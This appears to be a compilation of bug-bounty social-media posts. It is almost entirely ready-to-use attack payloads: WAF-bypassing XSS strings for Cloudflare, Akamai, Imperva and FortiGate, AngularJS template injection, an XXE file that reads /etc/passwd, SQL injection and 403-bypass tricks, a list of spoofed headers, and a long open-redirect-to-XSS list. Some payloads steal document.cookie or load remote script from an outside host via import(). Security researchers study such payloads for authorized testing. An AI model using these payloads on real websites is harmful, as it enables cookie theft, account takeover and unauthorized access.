Ketan Mukane 🇮🇳

Ethical Hacker & Web Application Security Researcher | Google and Facebook Hall Of Fame Holder | Stock Market & Cryptocurrency Market Retail Investor

[Ketan Mukane 🇮🇳 @eSecHax0r]

Yes, I Was Awarded a Bounty From Facebook

|| श्री ||

https://t.co/FGqk7Jrg3k

Thank You @Facebook :)

@openbugbounty , @Bugcrowd , @Hacker0x01 , @NCIIPC , @DrexelUniv , @cPanel , @kalilinux , @KITKarlsruhe , @Harvard , @Cambridge_Uni ,@UniofOxford

[Casper0x @_casper0x]

Simple XSS payload for AngularJS testing.

Older AngularJS versions are still vulnerable to expression injection.

{{$on.constructor('alert(document.domain)')()}}

#BugBounty #XSS #bugbountytips #hackerone

[VIEH Group @viehgroup]

Cloudflare WAF Bypass → XSS💡

The vulnerability occurred because the URL was being printed directly in JavaScript. Used this payload to achieve reflected XSS:

--'<00 foo="<a%20href="javascript​:prompt(404)">XSS-Click</00>--%20//

#BugBounty #infosec #bugbountytips

[VIEH Group @viehgroup]

Cross Site Scripting (XSS) Akamai WAF Bypass

try this payload :
<!--><svg+onload=%27top[%2fal%2f%2esource%2b%2fert%2f%2esource](document.cookie)%27>

#BugBounty #XSS #bugbountytips

[KNOXSS @KN0X55]

🚨 #XSS Payload to Use EVERYWHERE! 🚨

JavaScript://%250A/*?'/*\'/*"/*\"/*`/*\`/*%26apos;)/*
<!--</Title/</Style/</Script/</textArea/</iFrame>
\74k<K/contentEditable/autoFocus/OnFocus=
/*${/*/;{/**/(import(/https:\\https://t.co/GFfWFhdpK2))}//\76-->

Pops in +20 scenarios ✨

[VIEH Group @viehgroup]

Bug Bounty Tip : XML External Entity(XXE)

1.Go to the file upload functionality in the application.

2.Upload a XML file

<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<test>&xxe;</test>

3.Use Burp Suite to intercept the request and modify content type.

[VIEH Group @viehgroup]

[+] 403 bypass methodology !

1- using space symbols
exmaple:
/admin -> 403
/admin%09 -> 200
/admin%20 -> 200

2- use traversal
Example:
/admin -> 403
/..;/admin -> 200

you can fuzz with traversal sometimes that's end with results

Example: /..;/FUZZ

#bugbountytips

[BRute Logic @BRuteLogic]

#SQL Injection #Bypass Akamai #WAF
(Using #HPP)

q=1'Union DistinctRow/*&q=*/Select 1

#hack2learn 💪

[xss0r @xss0r]

#Fortinet_Fortigate_XSS_Bypass by xss0r
#Payload: <dETAILS%0aopen%0aonToGgle%0a=%0aa=prompt,a()%20x>

#xss0r #xss #xsspayloads #bypassWAFxss #ibrahimxss

[XSS Payloads @XssPayloads]

A payload to bypass Fortinet FortiGate, by @xss0r
<dETAILS%0aopen%0aonToGgle%0a=%0aa=prompt,a()%20x>

[KNOXSS @KN0X55]

We just found a variation of our current
CloudFlare #XSS #Bypass!

OnXSS=<Img/Src/OnError=alert(1)>

It's better than our previous <Img Src=OnXSS OnError=alert(1)> because it works where no spaces are allowed.

Soon on KNOXSS. ✨

[XSS Payloads @XssPayloads]

A payload to bypass some WAF filters by @0x0SojalSec
<input accesskey=X onclick="self['wind'+'ow']['one'+'rror']=alert;throw 1337;">

[XSS Payloads @XssPayloads]

An AngularJS Client-Side Template Injection by @0x0SojalSec, inspired by @garethheyes
{{'a'.constructor.prototype.charAt=''.valueOf;$eval("x='\"+(y='if(!window\\u002ex)alert(window\\u002ex=1)')+eval(y)+\"'");}}

[XSS Payloads @XssPayloads]

A FortiGate WAF bypass payload by @xss0r
<details open ontoggle="(()=>alert`ibrahimxss`)()"></details>

[𝕏 Bug Bounty Writeups 𝕏 @bountywriteups]

🚨 Open Redirect to XSS 🚨

javascript:alert(1)
java%00script:
java%0Ascript:
java&tab;script:
java%0Ascript:al%0Aert()
java%0d%0ascript%0d%0a:alert(0)
javascript://%250Aalert(1)
javascript://%250Aalert(1)//?1
javascript://%250A1?alert(1):0
%09Jav%09ascript:alert(document.domain)
javascript://%250Alert(document.location=document.cookie)
/%09/javascript:alert(1);
/%09/javascript:alert(1)
//%5cjavascript:alert(1);
//%5cjavascript:alert(1)
/%5cjavascript:alert(1);
/%5cjavascript:alert(1)
javascript://%0aalert(1)
<>javascript:alert(1);
//javascript:alert(1);
//javascript:alert(1)
/javascript:alert(1);
/javascript:alert(1)
\\j\\av\\a\\s\\cr\\i\\pt\\:\\a\\l\\ert\\(1\\)
javascript:alert(1);
javascript:alert(1)
javascripT://anything%0D%0A%0D%0Awindow.alert(document.cookie)
javascript:confirm(1)
javascript://https://t.co/VZbazKLcKZ)
javascript:prompt(1)
jaVAscript://whitelisted.com//%0d%0aalert(1);//
javascript://whitelisted.com?%a0alert%281%29
/x:1/:///%01javascript:alert(document.cookie)/
";alert(0);//
%26%2302java%26%23115cript:alert(document.domain)
javascript%3avar{a%3aonerror}%3d{a%3aalert}%3bthrow%2520document.domain
javascript:alert(1)
javascript:%61lert(1)
javascript:&#37&#54&#49lert(1)
javascript:%26%2337%26%2354%26%2349lert(1)
javascript%3avar{a%3aonerror}%3d{a%3aalert}%3bthrow%2520document.cookie
Open Redirect to SSRF

#bugbounty #bugbountytips #bugbountytip #hackerone #bugcrowd #infosec #cybersecurity #pentesting #redteam #informationsecurity #securitycipher #technology #coding #code #recon #ai #llm #owasp

[𝕏 Bug Bounty Writeups 𝕏 @bountywriteups]

🔰 403 Bypass Payloads 🔰

Base-Url: 127.0.0.1
Client-IP: 127.0.0.1
Http-Url: 127.0.0.1
Proxy-Host: 127.0.0.1
Proxy-Url: 127.0.0.1
Real-Ip: 127.0.0.1
Redirect: 127.0.0.1
Referer: 127.0.0.1
Referrer: 127.0.0.1
Refferer: 127.0.0.1
Request-Uri: 127.0.0.1
Uri: 127.0.0.1
Url: 127.0.0.1
X-Client-IP: 127.0.0.1
X-Custom-IP-Authorization: 127.0.0.1
X-Forward-For: 127.0.0.1
X-Forwarded-By: 127.0.0.1
X-Forwarded-For-Original: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Forwarded-Host: 127.0.0.1
X-Forwarded-Port: 443
X-Forwarded-Port: 4443
X-Forwarded-Port: 80
X-Forwarded-Port: 8080
X-Forwarded-Port: 8443
X-Forwarded-Scheme: http
X-Forwarded-Scheme: https
X-Forwarded-Server: 127.0.0.1
X-Forwarded: 127.0.0.1
X-Forwarder-For: 127.0.0.1
X-Host: 127.0.0.1
X-Http-Destinationurl: 127.0.0.1
X-Http-Host-Override: 127.0.0.1
X-Original-Remote-Addr: 127.0.0.1
X-Original-Url: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Proxy-Url: 127.0.0.1
X-Real-Ip: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Rewrite-Url: 127.0.0.1
X-True-IP: 127.0.0.1

#bugbounty #bugbountytips #bugbountytip #hackerone #bugcrowd #infosec #cybersecurity #pentesting #redteam #informationsecurity #securitycipher #technology #coding #code #recon #ai #llm #owasp

[BRute Logic @BRuteLogic]

One #XSS Payload to Rule Them All

#Bypass Akamai, Imperva and CloudFlare #WAF

&lt;A HRef=//X55.is AutoFocus %26%2362 OnFocus%0C=import(href)&gt;

#hack2learn @KN0X55

[XSS Payloads @XssPayloads]

A payload that bypasses Akamai, Imperva and CloudFlare WAF, by @BRuteLogic
&lt;A HRef=//X55.is AutoFocus %26%2362 OnFocus%0C=import(href)&gt;

[Cybertix @thecybertix]

𝗖𝗹𝗼𝘂𝗱𝗳𝗹𝗮𝗿𝗲 𝗕𝘆𝗽𝗮𝘀𝘀 𝗣𝗮𝘆𝗹𝗼𝗮𝗱

0&lt;/option&gt;&lt;/select&gt;&lt;img/src=xon=()onx+honerror=alert(1)&gt;ss&lt;svg/onload​=prompt(document.cookie)%20&gt;

𝗦𝘂𝗯𝘀𝗰𝗿𝗶𝗯𝗲 𝘁𝗼 𝗼𝘂𝗿 𝗬𝗼𝘂𝗧𝘂𝗯𝗲 𝗖𝗵𝗮𝗻𝗻𝗲𝗹
https://t.co/xXKr0Ma4jZ

#bugcrowd #hackerone #bugbountytips #hacking

[xss0r @xss0r]

WAF Fortinet FortiGate XSS Bypass:

#Payload:
&lt;details open ontoggle="(()=&gt;alert`ibrahimxss`)()"&gt;&lt;/details&gt;

#xss #xssbypass #xssWAF #wafbypass #fortinet #fortigate #ibrahimxss #IBRAHIMXSS #xsstool #xsspayloads #payload

[xss0r @xss0r]

The only XSS tool which can detect "detct "#onhover", "#Onfocus" "#oNpagEshoW"
POST-based XSS + CloudFlare Bypass with #IBRAHIMXSS Tool

#Payloads_used:
1. "><body/oNpagEshoW=(confirm)(document.domain)>

2. <<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //

Site tested: https://t.co/2swRP3iFkg

#ibrahimxss command used:
./xss-checker --post --request request.txt --payloads payloads.txt --threads 15